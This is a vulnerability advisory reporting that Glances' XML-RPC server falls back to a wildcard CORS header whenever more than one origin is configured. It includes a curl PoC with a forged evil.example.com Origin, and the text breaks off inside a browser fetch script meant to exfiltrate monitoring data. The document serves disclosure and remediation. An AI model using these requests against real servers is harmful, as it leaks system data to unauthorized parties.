Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)
Summary
The Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge.
Details
Affected file: glances/server.py, class GlancesXMLRPCServer, line 113
Direct URL (commit 04579778e733d705898a169e049dc84772c852da):
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113
```python
# server.py (GlancesXMLRPCServer.__init__)
cors_origins = self.args.cors_origins # list from config / CLI
# Line 113 — the incomplete fix:
self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'
# ^^^
# Any allowlist with 2+ entries collapses to the wildcard
```
The cors_origin value is then echoed back as the Access-Control-Allow-Origin response header for every request (line ~147 in the same file):
```python
self.send_header('Access-Control-Allow-Origin', self.cors_origin)
```
This means the CORS header is determined once at server startup and never compared against the actual Origin header sent by the browser. Even if an operator sets:
```ini
# glances.conf
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com
```
the server responds with Access-Control-Allow-Origin: * to every request, including those from https://attacker.example.com.
Single-origin wildcard (the default, cors_origins = *) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
Test results:
| Origin sent | ACAO header returned | Expected |
|--------------------------|----------------------|--------------|
| http://evil.example.com| * | No header |
| https://dashboard.corp | * | Reflected |
| https://grafana.corp | * | Reflected |
PoC
Special configuration required
The multi-origin collapse is only triggered when cors_origins contains two or more entries. Create the following glances.conf:
```ini
# /tmp/glances_multiorigin.conf
[global]
check_update = false
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com
```
Step 1 — Start the XML-RPC server using the config above
```bash
glances -s -p 61209 -C /tmp/glances_multiorigin.conf
```
Step 2 — Send a CORS simple request from a foreign origin
```bash
curl -s -D - -X POST "http://TARGET_HOST:61209/RPC2" \
-H "Content-Type: text/plain" \
-H "Origin: http://evil.example.com" \
-d '<?xml version="1.0"?>
<methodCall><methodName>getAllPlugins</methodName></methodCall>'
```
Expected (secure) response:
```
HTTP/1.0 400 Bad Request
```
or no Access-Control-Allow-Origin header.
Actual response:
```
HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
...
<?xml version='1.0'?>
<methodResponse>
<params><param><value><array><data>
<value><string>cpu</string></value>
<value><string>mem</string></value>
...
</data></array></value></param></params>
</methodResponse>
```
Step 3 — Demonstrate the code-level collapse to wildcard
```python
import sys
sys.path.insert(0, '/path/to/glances') # adjust to local clone
from glances.config import Config
c = Config('/tmp/glances_multiorigin.conf')
cors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])
# Reproduces server.py line 113:
result = cors_list[0] if len(cors_list) == 1 else '*'
print('cors_origins config :', cors_list)
print('cors_origin applied :', result)
print('Is wildcard? :', result == '*')
# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']
# cors_origin applied : *
# Is wildcard? : True
```
Browser-based exploitation
Once the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:
```javascript
// Runs in a page on http://evil.example.com
const payload = `<?xml version="1.0"?>
<methodCall><methodName>getAll</methodName></methodCall>`;
fetch('http://GLANCE
